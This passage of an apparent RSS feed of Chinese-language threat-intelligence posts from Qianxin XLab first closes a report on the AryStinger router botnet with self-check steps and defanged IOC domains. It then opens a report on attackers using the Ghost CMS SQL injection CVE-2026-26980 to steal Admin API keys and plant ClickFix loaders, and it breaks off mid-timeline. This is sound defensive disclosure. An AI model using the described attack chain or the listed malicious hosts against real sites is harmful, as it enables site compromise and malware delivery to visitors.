circle;" class="list-paddingleft-1"><li><p data-layout-id="154" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">窃密：悄无声息地监控所有进出流量，窃取各类敏感信息</span></p></li><li><p data-layout-id="155" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">劫持：随意篡改DNS，将用户引导至钓鱼，色情，赌博网站或其它病毒木马下载页面</span></p></li><li><p data-layout-id="156" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">隐匿攻击：以被控路由器为跳板，向全球目标发起扫描、渗透、DDoS攻击或传播恶意软件，而真实攻击源难以追溯</span></p></li></ul><p data-layout-id="156" style="text-align:left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">毫无疑问，当大量老旧设备陆续沦陷，汇聚，最终将形成规模庞大的隐蔽僵尸网络时，这将对个人隐私、企业安全乃至国家关键网络基础设施构成持续、隐蔽且高破坏力的现实威胁。</span></p><p data-layout-id="156" style="text-align:left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">强烈建议读者立即从以下3个层面进行自查，以判断系统是否已被感染，并及时替换或下线长期未更新固件的老旧路由设备，请勿让你的“网络大门”为黑客敞开。</span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p data-layout-id="159" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">网络：检查是否与文中提及的IOC域名存在通信。</span></p></li><li><p data-layout-id="160" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">文件：登录设备，检查 /tmp/bin 目录是否存在恶意样本。</span></p></li><li><p data-layout-id="161" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">进程：检查是否存在 syswapd0h 或 syswapd0w 进程。</span></p></li></ul><p data-layout-id="162" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">目前，我们仍在深入挖掘 AryStinger 背后的犯罪团伙，欢迎了解内幕的读者向我们提供更多的情报。如果你对我们的研究感兴趣，或希望获取帮助，可留言与我们联系。</span><span data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">对IOC感兴趣的读者，欢迎点击下方<span textstyle="" style="font-size: 20px;font-weight: bold;">阅读原文</span><span textstyle="" style="font-size: 18px;font-weight: bold;">，</span>前往我们的官方博客，获取AryStringer详尽IOC信息。</span></span></p><h1 data-layout-id="163" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 24px;font-style: italic;">部分IOC </span></span></h1><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p data-layout-id="166"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><a href="http://opi7[.]com" target="_blank">http://opi7[.]com</a></span></p></li><li><p data-layout-id="167"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><a href="http://xook.ajb8[.]com" target="_blank">http://xook.ajb8[.]com</a></span></p></li><li><p data-layout-id="168"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><a href="http://xonice.ahb8[.]com" target="_blank">http://xonice.ahb8[.]com</a></span></p></li><li><p data-layout-id="169"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><a href="http://eixfi.ajb8[.]com" target="_blank">http://eixfi.ajb8[.]com</a></span></p></li><li><p data-layout-id="170"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><a href="https://dybic.ajb8[.]com" target="_blank">https://dybic.ajb8[.]com</a></span></p></li><li><p data-layout-id="171"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><a href="https://sdkv1.dataexplore[.]cc" target="_blank">https://sdkv1.dataexplore[.]cc</a></span></p></li><li><p data-layout-id="172"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><a href="https://sdkv1.dataexplore[.]co" target="_blank">https://sdkv1.dataexplore[.]co</a></span></p></li></ul><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://blog.xlab.qianxin.com/arystinger-botnet-hijacks-legacy-routers-for-global-attacks/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=318348da&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkxMDYzODQxNA%3D%3D%26mid%3D2247484743%26idx%3D1%26sn%3Dea1af2cd1820f1f2eb79898fbb8f4057">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 17 Jun 2026 16:55:00 +0800</pubDate>
    </item>
    <item>
      <title>黑客利用 CVE-2026-26980 攻陷 Ghost CMS，大量站点沦为 ClickFix 攻击帮凶</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkxMDYzODQxNA==&amp;mid=2247484687&amp;idx=1&amp;sn=17b4de2c86e9e3da424a24d9a17518cc</link>
      <description>背景介绍2026年5月7日，XLab监测到一起针对重要客户Ghost CMS的投毒事件。</description>
      <content:encoded><![CDATA[<p>原创 <span>奇安信X实验室</span> <span>2026-05-21 16:48</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0b63118f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fa6IDQoib5s8xGvWOBeicftxtZ7qHfODib6DZ3XV2ibibQ2ic0OZDicrNcJlLTsPPOdSTyhf0zzDNY6TeabmR6aibE28SlYeHvtQjGhUZN3vQzw2uOCI%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h1 data-layout-id="0" style="font-size: 20px;font-weight: 400;color: rgb(43, 119, 191);line-height: 1.6em;margin-bottom: 12px;text-align: center;"><span leaf=""><span textstyle="" style="font-weight: bold;">背景介绍</span></span></h1><p data-layout-id="1" style="line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2026年5月7日，XLab监测到一起针对重要客户Ghost CMS的投毒事件。攻击者利用Ghost CMS高危SQL注入漏洞CVE-2026-26980，未授权获取目标站点的Admin API Key，进而通过Ghost Admin API批量篡改文章，在页面底部植入恶意JavaScript Loader，用于辅助FakeCaptcha攻击——即通过伪造Cloudflare人机验证页面，诱导用户在本地执行恶意命令。</span></p><p data-layout-id="2" style="line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">深入调查分析后，我们确定这并非是针对客户的定向入侵，而是隶属于在野攻击团伙以Ghost CMS为目标的大规模投毒活动。虽然CVE-2026-26980早在2月19日就已公开披露，但大量用户并未及时升级修补，为攻击者提供了可乘之机。目前至少有两个团伙正在积极开展此类投毒行动，部分站点甚至成为双方争夺的目标，一天之内被先后植入不同的恶意代码。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3488700564971751" data-s="300,640" data-type="png" data-w="708" style="width:100%;" type="block" data-backw="578" data-backh="202" data-imgfileid="100001004" src="https://wechat2rss.xlab.app/img-proxy/?k=8b1519f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8yXCtZJyXNeZXNXhMG9g4kWBzXciaHMwqW2FUiajGn5fegL9T1Fjh2VYBP1AXbsz7oiaveE5yicAbSKs4m9ORzWWRIoIPGs5ibgndOg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1 data-layout-id="4" style="line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">通过对页面投毒特征的主动探测，我们累计发现700多个域名遭到污染，其中<span textstyle="" style="font-weight: bold;">不乏多个全球知名站点，如DuckDuckGo的官方博客，</span></span><span leaf=""><span textstyle="" style="font-weight: bold;">欧洲 Python 学会</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">等，覆盖大学、区块链、AI / SaaS、安全研究、媒体、金融科技等多个行业。</span></h1><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.334375" data-s="300,640" data-type="png" data-w="2560" style="width:100%;" type="block" data-backw="578" data-backh="193" data-imgfileid="100001005" src="https://wechat2rss.xlab.app/img-proxy/?k=7422779d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8wGQxoSagiapwMNtbsuZCZ1HFKfblpAnV5r52libhFpOywl7KkBaR3jZa53XPJJzngiblXsWHGr87Ld44z1MsPEoL881swnJGcLlk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="7" style="line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">毫无疑问，用户对这些 Ghost 站点的天然信任，将极大提升 ClickFix 这类攻击的成功率。在第一波次的攻击中，攻击链条中的 Cloaking 域名使用了 Cloudflare 的代理服务，这为 Cloudflare 留出了有效的拦截窗口。很可能是用户在被投毒站点上看到异常提示框后对相关网站进行了举报，最终促使 Cloudflare 封禁了攻击者当时使用的 Cloaking 域名 clo4shara[.]xyz，切断了攻击链条，在一定程度上减轻了本次投毒事件的影响。</span></p><p data-layout-id="8" style="line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">但在 5 月 16 日，我们发现攻击者已更新其 Cloaking 域名（新域名为 com-apps[.]cc，当时尚未被 Cloudflare 拦截），并将最终载荷升级为 VT 零检出的窃密木马。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-backh="270" data-backw="578" data-imgfileid="100001006" data-ratio="0.46708683473389356" data-s="300,640" type="block" data-type="png" data-w="1428" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=c7046bdc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8xoOrFrcNsanLPerx4aw4t2gPPGLKDBSWEKNiaXOeMPLt3OZ6eJTNzmmsgs79pRUP5CmhlpYd1Ndpk3azicXcuiaiaNfjHRBKVibqPw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="10" style="line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">自5月10日起，我们已陆续向受害方发出安全通报。虽然部分企业作出了回复并启动了处置工作，但<span textstyle="" style="font-weight: bold;">绝大多数通报至今仍未收到任何回应</span>。我们认为无论是从当前感染态势还是未来潜在风险来看，这类投毒活动都不应该被忽视。</span></p><ul class="list-paddingleft-1"><li><p data-layout-id="11" style="line-height: 1.6em;text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">从当前感染态势来看，攻击者只需将伪装域名（Cloaking domain）移出 Cloudflare 的服务，攻击链条便可恢复正常运作，被感染的域名将立即转化为ClickFix攻击的帮凶</span></p></li><li><p data-layout-id="12" style="line-height: 1.6em;text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">从未来潜在风险来看，此次收集到的 Ghost CMS 凭证及其设定风格，可能被攻击者用于针对同一感染实体的其他业务系统进行横向渗透；此外，其他尚未被感染但使用Ghost CMS的站点同样面临威胁，攻击者完全有能力采用相同手法对它们发起攻击。</span></p></li></ul><p data-layout-id="13" style="line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">5月17日，</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在对被污染站点进行新一轮测绘时，我们惊奇地发现，越来越多知名网站（<span textstyle="" style="font-weight: bold;">如哈佛大学、牛津大学、奥本大学等</span>）遭到波及，同时还发现了第二个攻击团伙的恶意代码。</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">很明显，在野投毒攻击呈上升趋势，越多越多的没有升级的Ghost站点正处于被感染边缘，我们决定向安全社区公开通报此次事件，<span textstyle="" style="font-weight: bold;">强烈建议请广大使用Ghost CMS的用户立即完成系统升级，并根据本文提供的特征信息，积极开展自查与处置工作</span>。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-backh="280" data-backw="578" data-imgfileid="100001007" data-ratio="0.48515625" data-s="300,640" type="block" data-type="jpeg" data-w="1280" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=6dea6248&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fa6IDQoib5s8x2h9BVMO0J2QOhMoHx0pVOu73u8lEv3l3InZ4hhYwOhh1bmWVNR4icHyj2eZXwE5a5CC3E9VlzbVQlyYb41gW3HzlVywhnlDM0%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h1 data-layout-id="15" style="font-size: 20px;font-weight: 400;color: rgb(43, 119, 191);line-height: 1.6em;margin-bottom: 12px;text-align: center;"><span leaf=""><span textstyle="" style="font-weight: bold;">影响范围</span></span></h1><p data-layout-id="16" style="line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">通过对公开可访问页面进行特征扫描，我们累计识别出700多个被投毒的受害域名，并已主动联系其中可获取到联系方式的站点，告知其遭受投毒的情况。以下为基于 AI 辅助分析得出的受害域名分类统计结果。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100001038" data-ratio="0.9287356321839081" data-s="300,640" type="block" data-type="png" data-w="870" src="https://wechat2rss.xlab.app/img-proxy/?k=89de7c0e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8wVKYiayicRD732w8RENUKY1mC4HibvjL6jYxBy2LOCnuRNIValpTMsSJt1HXJiaSuv5E9Q7QSZ09Htyp7l4yyIHY8EK6lXgfwfAjg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h1 data-layout-id="18" style="font-size: 20px;font-weight: 400;color: rgb(43, 119, 191);line-height: 1.6em;margin-bottom: 12px;text-align: center;"><span leaf=""><span textstyle="" style="font-weight: bold;">事件时间线</span></span></h1><ul class="list-paddingleft-1"><li><p data-layout-id="19" style="line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2026-02-16：攻击中使用的</span><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">installer.dll</span></code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">的编码时间戳</span></p></li><li><p data-layout-id="20" style="line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2026-05-07：XLab 监测到 Ghost 站点出现页面投毒特征，开始溯源</span></p></li><li><p data-layout-id="21" style="line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2026-05-08：攻击者更新</span><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">update.bat</span></code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">，更新下载链路</span></p></li><li><p data-layout-id="22" style="line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2026-05-10：完成第一轮被污染站点测绘，确认156个受害域名</span></p></li><li><p data-layout-id="23" style="line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2026-05-16：Cloaking域名更新，投递新的</span><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">installer.dll</span></code></p></li><li><p data-layout-id="24" style="line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang 